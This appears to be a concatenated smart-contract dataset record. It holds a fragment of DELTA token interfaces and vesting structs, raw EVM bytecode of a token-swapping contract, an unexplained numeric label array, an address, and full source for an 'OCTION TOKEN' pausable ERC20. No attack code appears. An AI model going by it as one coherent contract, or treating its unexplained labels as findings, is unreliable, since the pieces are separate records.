adminRescueTokens(address token, uint256 amount) external; function setCompundBurn(bool shouldBurn) external; function compound(address person) external; function exit() external; function withdrawRLP(uint256 amount) external; function realFarmedOfPerson(address person) external view returns (RecycleInfo memory); function deposit(uint256 numberRLP, uint256 numberDELTA) external; function depositFor(address person, uint256 numberRLP, uint256 numberDELTA) external; function depositWithBurn(uint256 numberDELTA) external; function depositForWithBurn(address person, uint256 numberDELTA) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: UNLICENSED // DELTA-BUG-BOUNTY pragma solidity ^0.7.6; struct VestingTransaction { uint256 amount; uint256 fullVestingTimestamp; } struct WalletTotals { uint256 mature; uint256 immature; uint256 total; } struct UserInformation { // This is going to be read from only [0] uint256 mostMatureTxIndex; uint256 lastInTxIndex; uint256 maturedBalance; uint256 maxBalance; bool fullSenderWhitelisted; // Note that recieving immature balances doesnt mean they recieve them fully vested just that senders can do it bool immatureReceiverWhitelisted; bool noVestingWhitelisted; } struct UserInformationLite { uint256 maturedBalance; uint256 maxBalance; uint256 mostMatureTxIndex; uint256 lastInTxIndex; } struct VestingTransactionDetailed { uint256 amount; uint256 fullVestingTimestamp; // uint256 percentVestedE4; uint256 mature; uint256 immature; } uint256 constant QTY_EPOCHS = 7; uint256 constant SECONDS_PER_EPOCH = 172800; // About 2days uint256 constant FULL_EPOCH_TIME = SECONDS_PER_EPOCH * QTY_EPOCHS; // Precision Multiplier -- this many zeros (23) seems to get all the precision needed for all 18 decimals to be only off by a max of 1 unit uint256 constant PM = 1e23;
0x6080604052600436106101e65760003560e01c80636b6c077411610102578063aa35340211610095578063b46c100411610064578063b46c1004146104af578063e4fc6b6d146104cf578063e86f1112146104e4578063fc0d74eb146105115761020c565b8063aa35340214610450578063ad5c464814610470578063b1ab083214610485578063b35740bb1461049a5761020c565b8063886a8204116100d1578063886a8204146103f15780638c72818a146104065780639cd7b0aa14610426578063a8e21c701461043b5761020c565b80636b6c0774146103b257806378b7f973146103c75780637c29b52a146103dc578063820751fa146102c85761020c565b8063371f530a1161017a5780634759a5e2116101495780634759a5e2146103535780634b4aee31146103685780634bde08ca1461037d578063521d06741461039d5761020c565b8063371f530a146102f25780633a75a00a146103075780633b9d38091461032957806343d57a641461033e5761020c565b806326eb7e1c116101b657806326eb7e1c14610293578063272226de146102a857806329d41f8d146102c857806336a1b5a0146102dd5761020c565b8062ae3bf81461021157806301b03df1146102335780631333db2e1461025e5780632113b139146102735761020c565b3661020c5760405162461bcd60e51b815260040161020390611d01565b60405180910390fd5b600080fd5b34801561021d57600080fd5b5061023161022c366004611963565b610526565b005b34801561023f57600080fd5b50610248610627565b6040516102559190611b96565b60405180910390f35b34801561026a57600080fd5b506102316106e7565b34801561027f57600080fd5b5061023161028e3660046119d3565b61078a565b34801561029f57600080fd5b50610248610815565b3480156102b457600080fd5b506102316102c3366004611b0f565b61081a565b3480156102d457600080fd5b50610248610ea7565b3480156102e957600080fd5b50610248610eac565b3480156102fe57600080fd5b50610248610eb2565b34801561031357600080fd5b5061031c610eb8565b6040516102559190611b3a565b34801561033557600080fd5b5061031c610ed0565b34801561034a57600080fd5b50610231610ee8565b34801561035f57600080fd5b5061031c61101c565b34801561037457600080fd5b5061031c61102b565b34801561038957600080fd5b50610231610398366004611963565b6110b7565b3480156103a957600080fd5b5061031c6111d1565b3480156103be57600080fd5b5061031c6111e9565b3480156103d357600080fd5b50610248611201565b3480156103e857600080fd5b50610248611206565b3480156103fd57600080fd5b5061031c61120b565b34801561041257600080fd5b506102316104213660046119d3565b611223565b34801561043257600080fd5b506102486112cc565b34801561044757600080fd5b5061031c6112d1565b34801561045c57600080fd5b5061024861046b366004611963565b6112e9565b34801561047c57600080fd5b5061031c6112fb565b34801561049157600080fd5b50610248611313565b3480156104a657600080fd5b50610248611319565b3480156104bb57600080fd5b506102316104ca36600461199b565b61131e565b3480156104db57600080fd5b50610231611351565b3480156104f057600080fd5b506105046104ff366004611963565b6114e7565b6040516102559190611b8b565b34801561051d57600080fd5b506102316114fc565b61052e6116ea565b6040516370a0823160e01b81526001600160a01b0382169063a9059cbb90339083906370a0823190610564903090600401611b3a565b60206040518083038186803b15801561057c57600080fd5b505afa158015610590573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b49190611af7565b6040518363ffffffff1660e01b81526004016105d1929190611b72565b602060405180830381600087803b1580156105eb57600080fd5b505af11580156105ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062391906119fe565b5050565b6000807332ce7e48debdccbfe0cd037cc89526e4382cb81b9050600080826001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561067d57600080fd5b505afa158015610691573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b59190611aa9565b506001600160701b031691506001600160701b031691506106df670de0b6b3a76400008284611722565b935050505090565b33600090815260046020526040902054806107145760405162461bcd60e51b815260040161020390611c8d565b33600081815260046020819052604080832083905591549151631290dc6760e01b81526001600160a01b0390921692631290dc679261075592869101611b72565b600060405180830381600087803b15801561076f57600080fd5b505af1158015610783573d6000803e3d6000fd5b5050505050565b33739ea3b5b4ec044b70375236a281986106457b20ef146107bd5760405162461bcd60e51b815260040161020390611cdc565b6107f56107d660646107d08460106117bc565b9061181e565b6001600160a01b03841660009081526004602052604090205490611885565b6001600160a01b0390921660009081526004602052604090209190915550565b603281565b3360009081526005602052604090205460ff16151560011461084e5760405162461bcd60e51b815260040161020390611c1e565b610856611351565b61085e6114fc565b6000731498bd576454159bb81b5ce532692a8752d163e89050600080826001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156108b357600080fd5b505afa1580156108c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108eb9190611aa9565b506040516370a0823160e01b81526001600160701b03928316945091169150670de0b6b3a7640000870290600090739ea3b5b4ec044b70375236a281986106457b20ef906370a0823190610943903090600401611b3a565b60206040518083038186803b15801561095b57600080fd5b505afa15801561096f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109939190611af7565b9050818110156109b55760405162461bcd60e51b815260040161020390611dd0565b60006109c2838686611722565b905087670de0b6b3a7640000028110156109ee5760405162461bcd60e51b815260040161020390611bdb565b60405163a9059cbb60e01b8152739ea3b5b4ec044b70375236a281986106457b20ef9063a9059cbb90610a3b90731498bd576454159bb81b5ce532692a8752d163e8908790600401611b72565b602060405180830381600087803b158015610a5557600080fd5b505af1158015610a69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8d91906119fe565b5060405163022c0d9f60e01b81526001600160a01b0387169063022c0d9f90610abf9060009085903090600401611bad565b600060405180830381600087803b158015610ad957600080fd5b505af1158015610aed573d6000803e3d6000fd5b50506000546001600160a01b0316915073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc290508063a9059cbb73b2d834dd31816993ef53507eb1325430e67beefa610b3a86600261181e565b6040518363ffffffff1660e01b8152600401610b57929190611b72565b602060405180830381600087803b158015610b7157600080fd5b505af1158015610b85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba991906119fe565b506001600160a01b038216631e5f01bf6000610bc686600461181e565b6040518363ffffffff1660e01b8152600401610be3929190611b9f565b600060405180830381600087803b158015610bfd57600080fd5b505af1158015610c11573d6000803e3d6000fd5b5050506001600160a01b038216905063a9059cbb7332ce7e48debdccbfe0cd037cc89526e4382cb81b610c4586600461181e565b6040518363ffffffff1660e01b8152600401610c62929190611b72565b602060405180830381600087803b158015610c7c57600080fd5b505af1158015610c90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb491906119fe565b5060007332ce7e48debdccbfe0cd037cc89526e4382cb81b9050600080826001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d429190611aa9565b506001600160701b0391821693501690506000610d6a610d6388600461181e565b8385611722565b90506000610d81670de0b6b3a76400008486611722565b90508d811015610da35760405162461bcd60e51b815260040161020390611d2a565b60405163022c0d9f60e01b81526001600160a01b0386169063022c0d9f90610de890859060009073c5cacb708425961594b63ec171f4df27a9c0d8c990600401611bad565b600060405180830381600087803b158015610e0257600080fd5b505af1158015610e16573d6000803e3d6000fd5b5050604051630211eb7d60e51b815273c5cacb708425961594b63ec171f4df27a9c0d8c9925063423d6fa09150610e5290600090600401611b96565b600060405180830381600087803b158015610e6c57600080fd5b505af1158015610e80573d6000803e3d6000fd5b5050600354610e92925090508b6118df565b60035550505050505050505050505050505050565b601981565b60035481565b60015481565b73b2d834dd31816993ef53507eb1325430e67beefa81565b739ea3b5b4ec044b70375236a281986106457b20ef81565b60005460405163095ea7b360e01b8152739ea3b5b4ec044b70375236a281986106457b20ef9163095ea7b391610f2e916001600160a01b03169060001990600401611b72565b602060405180830381600087803b158015610f4857600080fd5b505af1158015610f5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8091906119fe565b5060005460405163095ea7b360e01b815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc29163095ea7b391610fc7916001600160a01b03169060001990600401611b72565b602060405180830381600087803b158015610fe157600080fd5b505af1158015610ff5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101991906119fe565b50565b6000546001600160a01b031681565b6000739ea3b5b4ec044b70375236a281986106457b20ef6001600160a01b0316635aa6e6756040518163ffffffff1660e01b815260040160206040518083038186803b15801561107a57600080fd5b505afa15801561108e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b2919061197f565b905090565b6110bf6116ea565b600080546001600160a01b0319166001600160a01b0383161790556110e2610ee8565b604051637d2e227d60e01b8152600090739ea3b5b4ec044b70375236a281986106457b20ef90637d2e227d9061111c903090600401611b3a565b60e06040518083038186803b15801561113457600080fd5b505afa158015611148573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116c9190611a1a565b90508060c0015161118f5760405162461bcd60e51b815260040161020390611e07565b80608001516111b05760405162461bcd60e51b815260040161020390611c4c565b8060a001516106235760405162461bcd60e51b815260040161020390611e73565b731498bd576454159bb81b5ce532692a8752d163e881565b7362359ed7505efc61ff1d56fef82158ccaffa23d781565b601481565b600881565b73c5cacb708425961594b63ec171f4df27a9c0d8c981565b6040516323b872dd60e01b8152739ea3b5b4ec044b70375236a281986106457b20ef906323b872dd9061125e90339030908690600401611b4e565b602060405180830381600087803b15801561127857600080fd5b505af115801561128c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b091906119fe565b6107bd5760405162461bcd60e51b815260040161020390611e3c565b601081565b7332ce7e48debdccbfe0cd037cc89526e4382cb81b81565b60046020526000908152604090205481565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b60025481565b603881565b6113266116ea565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6040516370a0823160e01b8152600090739ea3b5b4ec044b70375236a281986106457b20ef906370a082319061138b903090600401611b3a565b60206040518083038186803b1580156113a357600080fd5b505afa1580156113b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113db9190611af7565b60035490915060006113ed83836118df565b9050670de0b6b3a7640000811015611407575050506114e5565b600061141960646107d08460106117bc565b9050600061142d60646107d08560086117bc565b9050600061144160646107d08660386117bc565b6001549091506114519084611885565b6001556002546114619083611885565b600255611478816114728787611885565b906118df565b60035560008054604051631e5f01bf60e01b81526001600160a01b0390911691631e5f01bf916114ac918591600401611b9f565b600060405180830381600087803b1580156114c657600080fd5b505af11580156114da573d6000803e3d6000fd5b505050505050505050505b565b60056020526000908152604090205460ff1681565b60015460405163a9059cbb60e01b8152739ea3b5b4ec044b70375236a281986106457b20ef9163a9059cbb9161154a9173deadbeefdeadbeefdeadbeefdeadbeefdeadbeef91600401611b72565b602060405180830381600087803b15801561156457600080fd5b505af1158015611578573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159c91906119fe565b506001546003546115ac916118df565b6003819055506001600090556000739ea3b5b4ec044b70375236a281986106457b20ef6001600160a01b0316635aa6e6756040518163ffffffff1660e01b815260040160206040518083038186803b15801561160757600080fd5b505afa15801561161b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163f919061197f565b60025460405163a9059cbb60e01b8152919250739ea3b5b4ec044b70375236a281986106457b20ef9163a9059cbb9161167d91859190600401611b72565b602060405180830381600087803b15801561169757600080fd5b505af11580156116ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116cf91906119fe565b506002546003546116df916118df565b600355506000600255565b6116f261102b565b6001600160a01b0316336001600160a01b0316146114e55760405162461bcd60e51b815260040161020390611cb7565b60008084116117435760405162461bcd60e51b815260040161020390611eaa565b6000831180156117535750600082115b61176f5760405162461bcd60e51b815260040161020390611d88565b600061177d856103e56117bc565b9050600061178b82856117bc565b905060006117a58361179f886103e86117bc565b90611885565b90508082816117b057fe5b04979650505050505050565b6000826117cb57506000611818565b828202828482816117d857fe5b04146118155760405162461bcd60e51b8152600401808060200182810382526021815260200180611f196021913960400191505060405180910390fd5b90505b92915050565b6000808211611874576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b81838161187d57fe5b049392505050565b600082820183811015611815576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082821115611936576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b805161194781611f0a565b919050565b80516001600160701b038116811461194757600080fd5b600060208284031215611974578081fd5b813561181581611ef5565b600060208284031215611990578081fd5b815161181581611ef5565b600080604083850312156119ad578081fd5b82356119b881611ef5565b915060208301356119c881611f0a565b809150509250929050565b600080604083850312156119e5578182fd5b82356119f081611ef5565b946020939093013593505050565b600060208284031215611a0f578081fd5b815161181581611f0a565b600060e08284031215611a2b578081fd5b60405160e0810181811067ffffffffffffffff82111715611a4857fe5b806040525082518152602083015160208201526040830151604082015260608301516060820152611a7b6080840161193c565b6080820152611a8c60a0840161193c565b60a0820152611a9d60c0840161193c565b60c08201529392505050565b600080600060608486031215611abd578081fd5b611ac68461194c565b9250611ad46020850161194c565b9150604084015163ffffffff81168114611aec578182fd5b809150509250925092565b600060208284031215611b08578081fd5b5051919050565b600080600060608486031215611b23578283fd5b505081359360208301359350604090920135919050565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b90815260200190565b918252602082015260400190565b92835260208301919091526001600160a01b0316604082015260806060820181905260009082015260a00190565b60208082526023908201527f446964206e6f742067657420656e6f7567682045544820746f20636f7665722060408201526236b4b760e91b606082015260800190565b60208082526014908201527310b0b8383937bb32b2103634b8bab4b230ba37b960611b604082015260600190565b60208082526021908201527f444656203a3a205365742066756c6c2073656e6465722077686974656c6973746040820152602160f81b606082015260800190565b60208082526010908201526f4e6f7468696e6720746f20636c61696d60801b604082015260600190565b6020808252600b908201526a21676f7665726e616e636560a81b604082015260600190565b6020808252600b908201526a4b4e4f434b204b4e4f434b60a81b604082015260600190565b6020808252600f908201526e115512081b9bdd08185b1b1bddd959608a1b604082015260600190565b602080825260409082018190527f446964206e6f742067657420656e6f75676820434f524520636865636b20616d908201527f6f756e74434f5245556e697473426f75676874466f723157455448282920666e606082015260800190565b60208082526028908201527f556e697377617056324c6962726172793a20494e53554646494349454e545f4c604082015267495155494449545960c01b606082015260800190565b6020808252601f908201527f416d6f756e742069732067726561746572207468616e20726573657276657300604082015260600190565b6020808252818101527f444656203a3a20536574206e6f2076657374696e672077686974656c69737421604082015260600190565b60208082526017908201527f446964206e6f74207472616e7366657220656e6f756768000000000000000000604082015260600190565b6020808252601e908201527f444656203a3a2053657420696d6d61747572652077686974656c697374210000604082015260600190565b6020808252602b908201527f556e697377617056324c6962726172793a20494e53554646494349454e545f4960408201526a1394155517d05353d5539560aa1b606082015260800190565b6001600160a01b038116811461101957600080fd5b801515811461101957600080fdfe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220133ffdccd76c05f91d1574bf046a13d0578a9ad3df12f7b8b893fdc6d6d9773164736f6c63430007060033
[ 16, 7, 5, 2 ]
0xf249d0f1ef461b50decb0fee83183c397eb374e6
pragma solidity ^0.4.23; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Roles * @author Francisco Giordano (@frangio) * @dev Library for managing addresses assigned to a Role. * See RBAC.sol for example usage. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an address access to this role */ function add(Role storage role, address addr) internal { role.bearer[addr] = true; } /** * @dev remove an address' access to this role */ function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } /** * @dev check if an address has this role * // reverts */ function check(Role storage role, address addr) view internal { require(has(role, addr)); } /** * @dev check if an address has this role * @return bool */ function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } } /** * @title RBAC (Role-Based Access Control) * @author Matt Condon (@Shrugs) * @dev Stores and provides setters and getters for roles and addresses. * @dev Supports unlimited numbers of roles and addresses. * @dev See //contracts/mocks/RBACMock.sol for an example of usage. * This RBAC method uses strings to key roles. It may be beneficial * for you to write your own implementation of this interface using Enums or similar. * It's also recommended that you define constants in the contract, like ROLE_ADMIN below, * to avoid typos. */ contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address addr, string roleName); event RoleRemoved(address addr, string roleName); /** * @dev reverts if addr does not have role * @param addr address * @param roleName the name of the role * // reverts */ function checkRole(address addr, string roleName) view public { roles[roleName].check(addr); } /** * @dev determine if addr has role * @param addr address * @param roleName the name of the role * @return bool */ function hasRole(address addr, string roleName) view public returns (bool) { return roles[roleName].has(addr); } /** * @dev add a role to an address * @param addr address * @param roleName the name of the role */ function addRole(address addr, string roleName) internal { roles[roleName].add(addr); emit RoleAdded(addr, roleName); } /** * @dev remove a role from an address * @param addr address * @param roleName the name of the role */ function removeRole(address addr, string roleName) internal { roles[roleName].remove(addr); emit RoleRemoved(addr, roleName); } /** * @dev modifier to scope access to a single role (uses msg.sender as addr) * @param roleName the name of the role * // reverts */ modifier onlyRole(string roleName) { checkRole(msg.sender, roleName); _; } /** * @dev modifier to scope access to a set of roles (uses msg.sender as addr) * @param roleNames the names of the roles to scope access to * // reverts * * @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this * see: https://github.com/ethereum/solidity/issues/2467 */ // modifier onlyRoles(string[] roleNames) { // bool hasAnyRole = false; // for (uint8 i = 0; i < roleNames.length; i++) { // if (hasRole(msg.sender, roleNames[i])) { // hasAnyRole = true; // break; // } // } // require(hasAnyRole); // _; // } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title DetailedERC20 token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract PausableToken is StandardToken, Pausable, RBAC { string public constant ROLE_ADMINISTRATOR = "administrator"; modifier whenNotPausedOrAuthorized() { require(!paused || hasRole(msg.sender, ROLE_ADMINISTRATOR)); _; } /** * @dev Add an address that can administer the token even when paused. * @param _administrator Address of the given administrator. * @return True if the administrator has been added, false if the address was already an administrator. */ function addAdministrator(address _administrator) onlyOwner public returns (bool) { if (isAdministrator(_administrator)) { return false; } else { addRole(_administrator, ROLE_ADMINISTRATOR); return true; } } /** * @dev Remove an administrator. * @param _administrator Address of the administrator to be removed. * @return True if the administrator has been removed, * false if the address wasn't an administrator in the first place. */ function removeAdministrator(address _administrator) onlyOwner public returns (bool) { if (isAdministrator(_administrator)) { removeRole(_administrator, ROLE_ADMINISTRATOR); return true; } else { return false; } } /** * @dev Determine if address is an administrator. * @param _administrator Address of the administrator to be checked. */ function isAdministrator(address _administrator) public view returns (bool) { return hasRole(_administrator, ROLE_ADMINISTRATOR); } /** * @dev Transfer token for a specified address with pause feature for administrator. * @dev Only applies when the transfer is allowed by the owner. * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public whenNotPausedOrAuthorized returns (bool) { return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another with pause feature for administrator. * @dev Only applies when the transfer is allowed by the owner. * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public whenNotPausedOrAuthorized returns (bool) { return super.transferFrom(_from, _to, _value); } } contract OCTIONTOKEN is DetailedERC20, PausableToken { uint256 public initialTotalSupply; uint256 constant INITIAL_WHOLE_TOKENS = 100000000; constructor() public DetailedERC20("OCTION TOKEN", "WOCTI", 18) { initialTotalSupply = INITIAL_WHOLE_TOKENS * uint256(10) ** decimals; totalSupply_ = initialTotalSupply; balances[msg.sender] = initialTotalSupply; emit Transfer(address(0), msg.sender, initialTotalSupply); } }
